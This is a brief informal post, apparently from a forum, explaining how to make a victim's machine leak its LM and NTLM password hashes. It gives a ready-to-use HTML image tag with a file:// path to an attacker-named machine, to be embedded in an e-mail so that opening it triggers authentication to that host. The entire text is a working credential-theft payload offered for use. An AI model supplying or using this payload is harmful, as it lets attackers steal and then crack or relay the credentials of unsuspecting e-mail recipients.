To get a machine to send its LM and NTLM hashes send an html e-mail with the following in the document:

<img src=file://nbmachinename/null/gif height=1 width=1>

that will cause the client to send hashes for the current user (works on my network anywayz)